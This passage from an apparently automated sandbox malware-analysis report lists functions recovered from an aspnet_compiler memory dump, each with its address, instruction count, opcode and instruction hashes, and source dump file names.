                  • API String ID:
                  • Opcode ID: 5ef2773ec3e12a1a8cc6e15033d889226699d42925a3c0396c45987329bd722c
                  • Instruction ID: 56ba13a03c518f2b449169ec25c270e50e4f4a67777b916e4ca7a6758b838253
                  • Opcode Fuzzy Hash: 5ef2773ec3e12a1a8cc6e15033d889226699d42925a3c0396c45987329bd722c
                  • Instruction Fuzzy Hash: 6E018536100209EBCF129F84E940EDA3F66FB4C668F068101FE186A220C736DA70EB81
                  Function 0134C0F0 Relevance: .0, Instructions: 39COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: f1b1b03d38fec90233d6b8f24ea7dba7ca4742569eedba16c888368eeeea45ef
                  • Instruction ID: 89dc4696a0b2c568e9c49b7f0384ff6ffd002a9533f651df3b5a03f27c23df65
                  • Opcode Fuzzy Hash: f1b1b03d38fec90233d6b8f24ea7dba7ca4742569eedba16c888368eeeea45ef
                  • Instruction Fuzzy Hash: FFF024712052519BF350A61D9C02F2272DAFBD465CF25902AEB098B6D1E970EC01C394
                  Function 0138656A Relevance: .0, Instructions: 39COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 9f176b161a4d2bffc64ca62d0840196aad1ac282335948e51b0b602489d1d953
                  • Instruction ID: d8c0bff1b47b24ae75343b8b6fb83acde636ac16e53017b3fdc7397ee1152761
                  • Opcode Fuzzy Hash: 9f176b161a4d2bffc64ca62d0840196aad1ac282335948e51b0b602489d1d953
                  • Instruction Fuzzy Hash: C401A9B0204785DFF723A76CCD59F263798BB50F4CF484154BA418B9D6D728D8028224
                  Function 013F437C Relevance: .0, Instructions: 37COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: abe8a162c34942eaba6aef332befd3f6f0562530e07f378f59fd36a18add1061
                  • Instruction ID: 4c73529b273ebd20c5db4fcb11b6273c35bc1c94aaf666e59ba96916fed21a09
                  • Opcode Fuzzy Hash: abe8a162c34942eaba6aef332befd3f6f0562530e07f378f59fd36a18add1061
                  • Instruction Fuzzy Hash: 57F0E935341A1347EB36AA2E9410B2BA6D5DF90944B05853E9705CB680EF20D810C780
                  Function 013DE872 Relevance: .0, Instructions: 36COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 6168c74df7881035f69970a17cdbc8bbd68c52d06f01b9a11dec5043249d3eba
                  • Instruction ID: a4a4546d99e521cd72e72a0e88cd3b3ba6db3b5d109f2a5749bb33a4bacb7cd6
                  • Opcode Fuzzy Hash: 6168c74df7881035f69970a17cdbc8bbd68c52d06f01b9a11dec5043249d3eba
                  • Instruction Fuzzy Hash: BCF05E337116629BE7229A4EEC81F16BFACBFD5E64F190075B6089F664C760EC0187D0
                  Function 013DC89D Relevance: .0, Instructions: 36COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 61f952992a62ccd11bdb8b77aee41f0c41e9851b1bd3cac7d521fe63a6bcab48
                  • Instruction ID: 49c828d23846e812c424126450e0258d4ca69d5b051072ef29cdb8226ab74dbc
                  • Opcode Fuzzy Hash: 61f952992a62ccd11bdb8b77aee41f0c41e9851b1bd3cac7d521fe63a6bcab48
                  • Instruction Fuzzy Hash: EDF0A4716153449FC710EF6CC542E1ABBE8FF58714F40465EB898DB394E634E901C756
                  Function 01380854 Relevance: .0, Instructions: 35COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 4cdcb84ab97496671339d5fdb647af6bc44589d2c26ee95e7ea7cdc637936955
                  • Instruction ID: 56a2cd2dbcc246b895399172406d463f3562cbfd55f113a19ad36dbda266bca4
                  • Opcode Fuzzy Hash: 4cdcb84ab97496671339d5fdb647af6bc44589d2c26ee95e7ea7cdc637936955
                  • Instruction Fuzzy Hash: D6F0B472610204AFE718EB25CC05F96BAEDEF98348F248078A545E7274FAB1ED41C655
                  Function 013D8D20 Relevance: .0, Instructions: 35COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: aa5ea3c2890300d8a6d09b27fd2c7edbd8e49a1c6274a04818fd89ac403e0b73
                  • Instruction ID: d571335bb53b8428fc57ff8e91cd3f104e42174e44c259aa29acbd6bd5f2420a
                  • Opcode Fuzzy Hash: aa5ea3c2890300d8a6d09b27fd2c7edbd8e49a1c6274a04818fd89ac403e0b73
                  • Instruction Fuzzy Hash: A3F030375002446BEB216B1CFC44B5ABB6DFB95B18F490856F9452B2B287307C80DA90
                  Function 013DC912 Relevance: .0, Instructions: 34COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 5be1634667e1baa5e8d90662748a2d1cd90256143212ffe7c86c28625a197f0a
                  • Instruction ID: 6dc96334eea9616960a630a5414d4476e93ff8cf99087b9bdfb2c6442ccc12aa
                  • Opcode Fuzzy Hash: 5be1634667e1baa5e8d90662748a2d1cd90256143212ffe7c86c28625a197f0a
                  • Instruction Fuzzy Hash: 89F0C270A1024DEFCB04EFA9D511A5EB7B4FF18304F008059B905EB385DA34EA01CB50
                  Function 013547FB Relevance: .0, Instructions: 33COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 6d9679d0e6c1ca533b2b9fafaac58f3125dcc611831e675d5ddfc52252910560
                  • Instruction ID: 297461f1aa58e2b4a9d7b2e9e2d0af3f68eb530f32512715bc6c5a94a705fd91
                  • Opcode Fuzzy Hash: 6d9679d0e6c1ca533b2b9fafaac58f3125dcc611831e675d5ddfc52252910560
                  • Instruction Fuzzy Hash: E4F0F0319022E49FE7AA8B1CC804F617FC89B00E3CF08886ACD6D83502F725D8C0C600
                  Function 01410115 Relevance: .0, Instructions: 32COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 2516a12490c3693df8e4472835e13e36a19a1e8a784adb06a520e5c9f1aa79e3
                  • Instruction ID: b528759104f076cc19619e8cdc98d8a4bc3c8cd74ae223ac0f3db0cc3153142b
                  • Opcode Fuzzy Hash: 2516a12490c3693df8e4472835e13e36a19a1e8a784adb06a520e5c9f1aa79e3
                  • Instruction Fuzzy Hash: 69F0273E4196C017CB336B2D64602D27B54A752010F0A145FD4A15733DC5BD88C3C320
                  Function 0138C5ED Relevance: .0, Instructions: 31COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 4322326fb93daf86a1ad23b0a1cbd1e56e4f823b55077974e261ca1e78dee282
                  • Instruction ID: e7af87175570de73000f12d8d4f428b96b9547ccc847c3580399ac449072dbe5
                  • Opcode Fuzzy Hash: 4322326fb93daf86a1ad23b0a1cbd1e56e4f823b55077974e261ca1e78dee282
                  • Instruction Fuzzy Hash: BAF0EC715117A59FE722BB2CC148BA1BBE8EB807BCF0CB436D44687912C674F880CA70
                  Function 01392619 Relevance: .0, Instructions: 31COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 6c7572fa5744a55e43c142e8942155ae64e2404789e34097860efd8d5a2ca0e7
                  • Instruction ID: 84cbb5935f17a9ccea4f7e7cbcb44a27711523b309acde2517c52a4bde902359
                  • Opcode Fuzzy Hash: 6c7572fa5744a55e43c142e8942155ae64e2404789e34097860efd8d5a2ca0e7
                  • Instruction Fuzzy Hash: 12E0D832300A012BEB11AE5D8CC4F47776EDFD2B28F04407DB5045F251C9E2DC19C2A4
                  Function 013E6030 Relevance: .0, Instructions: 29COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 2f21787fc4cf88bc2024fb188b518997cea13084236808dfde9be923dffdf6d3
                  • Instruction ID: 11ead02120ae97eb1eee14f5c15848b08f5629e322b4d11aef4ac3e06d49e0e1
                  • Opcode Fuzzy Hash: 2f21787fc4cf88bc2024fb188b518997cea13084236808dfde9be923dffdf6d3
                  • Instruction Fuzzy Hash: ECF030B21083289FE3219F09D949F52BBFCEB15368F45C025E6099B5A1D37AEC40CBA4
                  Function 01350710 Relevance: .0, Instructions: 28COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 09d204908d37cdfbcfc5d4a721560e7c3d6986de64c378e18d154b12347e5c6c
                  • Instruction ID: afbbd38b5470d9ee17cd97358c9ff2eb7af58461551f2d50f93f802d477c2397
                  • Opcode Fuzzy Hash: 09d204908d37cdfbcfc5d4a721560e7c3d6986de64c378e18d154b12347e5c6c
                  • Instruction Fuzzy Hash: B1F0E5392087459FDB1ACF2AD050ED57BA8FB51758F000065FC468B351D732E982CB54
                  Function 013849D0 Relevance: .0, Instructions: 28COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: f1b670d1cf9650df618e53f56da6216e466ca8c332a8d3f17e7fbf4f9511b07c
                  • Instruction ID: f4c3103ed15c15c2757898b9364115ff42abbd1bbd63cf70acd57f92f3479849
                  • Opcode Fuzzy Hash: f1b670d1cf9650df618e53f56da6216e466ca8c332a8d3f17e7fbf4f9511b07c
                  • Instruction Fuzzy Hash: 54E0923224434AEBE7213B598800B66B6A99BD07A4F154429E2448F950DB78DC40C798
                  Function 0134EC20 Relevance: .0, Instructions: 28COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 996ac50646acec401b5b4ec6e6a79d216cdcf7e2fbd334b6c0b4cd53c06c704f
                  • Instruction ID: dd5e764bc3c783dfa0e39a61eac4643e61c59ef3e8124b04e93cb5365e29a7d3
                  • Opcode Fuzzy Hash: 996ac50646acec401b5b4ec6e6a79d216cdcf7e2fbd334b6c0b4cd53c06c704f
                  • Instruction Fuzzy Hash: 25F0A031104299AFEF588B09C544F1537D9FB0033CF048429F5288A152C778ED84CB08
                  Function 013525E0 Relevance: .0, Instructions: 23COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 3d430d7b5981f6307a29aaa136732464667ee08196178178820216ff84a6080f
                  • Instruction ID: 6f4cc60e720d6f2577fbd299ab41719625f331ec54d12d49de9d8253d2c3f29e
                  • Opcode Fuzzy Hash: 3d430d7b5981f6307a29aaa136732464667ee08196178178820216ff84a6080f
                  • Instruction Fuzzy Hash: B6E09232100A94ABC722BB2DDD02F8B77AAEB60778F014515B519571A4CA74A850C798
                  Function 013D4000 Relevance: .0, Instructions: 22COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: d217a6aac874400d2fdd0dd0cc4ad7a97c57c110d53f39d941a96e3fabb04b1b
                  • Instruction ID: f2e3d37e3c9509ae9d7524dfed05997dcc48f8da00eed8b0ed8ffa6493f8accb
                  • Opcode Fuzzy Hash: d217a6aac874400d2fdd0dd0cc4ad7a97c57c110d53f39d941a96e3fabb04b1b
                  • Instruction Fuzzy Hash: 37E0C2353003059FE715CF19D084B62BBB6BFD5A14F28C068A9488F605EB32E842CB40
                  Function 0138CA38 Relevance: .0, Instructions: 22COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 91d6f8f66975e29f5a97c27076fbf1eeb4788d8f35043f130b666175f84dece5
                  • Instruction ID: 95b9af0282c95fd24a1681ad52b5011930fb646298515ab2278c962afa33c7a3
                  • Opcode Fuzzy Hash: 91d6f8f66975e29f5a97c27076fbf1eeb4788d8f35043f130b666175f84dece5
                  • Instruction Fuzzy Hash: EFD02B324811206ADB35F35CBC04FD37A6DAB44268F019870F108D2021D51CCC81D2E4
                  Function 0134823B Relevance: .0, Instructions: 21COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 2b708af5a461c1f99ac8d3b2cba32ed51933f6cdd1bf79975374bbcdf42faac7
                  • Instruction ID: b4db76f4d94450e8ae96ecbd0e2b1d2deafdf0714afc16bb769019509a514f63
                  • Opcode Fuzzy Hash: 2b708af5a461c1f99ac8d3b2cba32ed51933f6cdd1bf79975374bbcdf42faac7
                  • Instruction Fuzzy Hash: 1AE08C31401A14EFDF322E59DC00F5276E9FB54B28F104869E085164A887B0B881DA44
                  Function 01352050 Relevance: .0, Instructions: 20COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: d898971bd99017263d260cf3f2564fe2a01a0083a80a06f6bc945d3d9637c59c
                  • Instruction ID: ff70ce315fc61abf48ee9651e7d49c7600383d98839c4381ddeb0f8d388c1fef
                  • Opcode Fuzzy Hash: d898971bd99017263d260cf3f2564fe2a01a0083a80a06f6bc945d3d9637c59c
                  • Instruction Fuzzy Hash: 54E0C233100590ABC712FB5DDD11F4A73AEEFA5774F014121F954872A8CA64AC40C798
                  Function 01388A90 Relevance: .0, Instructions: 20COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 4861f5a381a69e507ddb33788bd9690c3cd67957beffc440e81982ecee0e9c4e
                  • Instruction ID: b1e3f48d75f4a3f4f7a2fd130c90c258e94e9f306f3838c0b18ec5ba752bafa9
                  • Opcode Fuzzy Hash: 4861f5a381a69e507ddb33788bd9690c3cd67957beffc440e81982ecee0e9c4e
                  • Instruction Fuzzy Hash: CFE04F33121B1887D728EE18D511A62B7A9EB45720B09462AA61347780C534E544C794
                  Function 013A6AA4 Relevance: .0, Instructions: 17COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 2a1cd49be4a36f16e465d6e8719326e712c3afc978f3fe3bf45b66f7a6b88852
                  • Instruction ID: 8e154679c7d0cc6a75219f0ab22c36fd2a2791661861b573ee0d3b25a14796df
                  • Opcode Fuzzy Hash: 2a1cd49be4a36f16e465d6e8719326e712c3afc978f3fe3bf45b66f7a6b88852
                  • Instruction Fuzzy Hash: 93D05E76511A50AFD7329F1FEA04C13BBF9FBC4B10709062EA54583924C670A806CBA0
                  Function 0138E59C Relevance: .0, Instructions: 16COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 7eba0efce7d9c3098aed64107f138979cd55621edccfcfde5a0f983e140fadca
                  • Instruction ID: 24b6c7d0fd7d54e43f41be81eb601977b65e4280a0b264be161bd2799914c79d
                  • Opcode Fuzzy Hash: 7eba0efce7d9c3098aed64107f138979cd55621edccfcfde5a0f983e140fadca
                  • Instruction Fuzzy Hash: 7AD0A932204620ABDB32AA1CFC00FC333E9BB88B28F060459B008C7054C3A0AC81CB84
                  Function 013CE908 Relevance: .0, Instructions: 16COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 6e9bfb4306c29fdb1c5fce9039323a2740af754b7679fb8de59faa530781556d
                  • Instruction ID: d0fb033dd0ecef58c59e88516fba06dfe7b8867e48115edc934c4137a5ba73d8
                  • Opcode Fuzzy Hash: 6e9bfb4306c29fdb1c5fce9039323a2740af754b7679fb8de59faa530781556d
                  • Instruction Fuzzy Hash: 22E0EC359506849BDF52DF5DC640F9ABBB9BB94F44F150068A5085B664C628AD00CB40
                  Function 0134A0E3 Relevance: .0, Instructions: 15COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: c1fe28d2b99599f70fe9b16ebd98ffdfbd128d642cd65cc2bf81b3ea4870f6a7
                  • Instruction ID: 31ff7206389a943e3ea252079dd7571ec9af46e9321effa503eca8436a1235a0
                  • Opcode Fuzzy Hash: c1fe28d2b99599f70fe9b16ebd98ffdfbd128d642cd65cc2bf81b3ea4870f6a7
                  • Instruction Fuzzy Hash: E1D0223221703093CF285A5A6800F637949AB80A98F0A002CB40B93C04C0048C42D2E0
                  Function 0138A830 Relevance: .0, Instructions: 14COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 950ff3e2fa24c389401d46e2ae40292d2d63fe10973766e9e1870c80e88d3a0a
                  • Instruction ID: be73d7bfa83681e058e72375e29ede053bd33206d1c1bb2c2f2d5dd0d2899a53
                  • Opcode Fuzzy Hash: 950ff3e2fa24c389401d46e2ae40292d2d63fe10973766e9e1870c80e88d3a0a
                  • Instruction Fuzzy Hash: BAD012371D054DBBCB119F66DC01F957BA9E764BA0F448020B508875A0C67AE950D584
                  Function 0138CA24 Relevance: .0, Instructions: 14COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 4c6f0074b0e4abe07f377344b0f1f4c579b6c476baef67e8f1ff214a43c4a4c8
                  • Instruction ID: b17d7a85ff444a4bf3b56180c3da44676ebc42e009183c1cf088d654f7ace789
                  • Opcode Fuzzy Hash: 4c6f0074b0e4abe07f377344b0f1f4c579b6c476baef67e8f1ff214a43c4a4c8
                  • Instruction Fuzzy Hash: 78D0C734555605DBEF16DF59C511D6EB674FB54B48B4010ACFF0561524D32ADD01C750
                  Function 013602A0 Relevance: .0, Instructions: 13COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 153dea5617c300a23885095067624b68861a72d9651cf20dee72da6dc6a95444
                  • Instruction ID: 6d0375a96d14577e55aa311401aea41b990765c10590e6a1f096928c127d85d2
                  • Opcode Fuzzy Hash: 153dea5617c300a23885095067624b68861a72d9651cf20dee72da6dc6a95444
                  • Instruction Fuzzy Hash: 1ED09235212A80CFD61A8B0CC5A5B1533A8BB44A48F814490E542CBB26E668D940CA00
                  Function 0138C700 Relevance: .0, Instructions: 12COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: a4bbd7c5c996c6314633515492723e329d7ccf5f4dcb798370ffde6045762c53
                  • Instruction ID: 63444585ffa9fb8d15f271d997c54e42201435a136177d1482af1f817eba76ca
                  • Opcode Fuzzy Hash: a4bbd7c5c996c6314633515492723e329d7ccf5f4dcb798370ffde6045762c53
                  • Instruction Fuzzy Hash: 52C01232290648AFCB12AA99CD01F027BA9EBA8B40F004021F2088B670C671E820EA84
                  Function 01370310 Relevance: .0, Instructions: 11COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: b20a69916aee968c3675073d0381efa581de60bf3984a7ac555cf611b84c4bee
                  • Instruction ID: 1a4b3260873ec6d715ab0c520e045cceeaf64850d8f3dcc7f05300e935beb4fa
                  • Opcode Fuzzy Hash: b20a69916aee968c3675073d0381efa581de60bf3984a7ac555cf611b84c4bee
                  • Instruction Fuzzy Hash: 08D01236100248EFCB15DF55C890D9AB72AFBD8710F148019FD19077108A35ED62DA50
                  Function 01350750 Relevance: .0, Instructions: 9COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 8541d5aa43a0a658d79fe6471d8132b1696e53b2ec5469e0c5791f15c56add93
                  • Instruction ID: 447ae259f13416392d7df797501389cb387c11c0901f091d6026b0332ebc7943
                  • Opcode Fuzzy Hash: 8541d5aa43a0a658d79fe6471d8132b1696e53b2ec5469e0c5791f15c56add93
                  • Instruction Fuzzy Hash: B2C04C757015418FCF15DB1DD294F4577E4F754744F154890E905CB721E624E801CA10
                  Function 01424DAD Relevance: .0, Instructions: 6COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 648f2a62eeaad2cdbbcd5344c2cdf0ddb4d308a711b0010c13bd86b66eb1983f
                  • Instruction ID: 9cf0be0ea45067d56f3e58dbb4c0ac35ff4b4c6c22219578319ec0511f7387c6
                  • Opcode Fuzzy Hash: 648f2a62eeaad2cdbbcd5344c2cdf0ddb4d308a711b0010c13bd86b66eb1983f
                  • Instruction Fuzzy Hash: 27B01232212545CFC7126724CB00B1932A9FF017C0F0900F0A50089C30D61CC910E501
                  Function 01394340 Relevance: .0, Instructions: 4COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 4907ea2b066eddc35caf169c99f90060e268c0f583ba502b4ce7efe9c89e7625
                  • Instruction ID: 02810798db1066d1a1cf479d2dcdb29bac42859c5e202a1b277dd87258fa775c
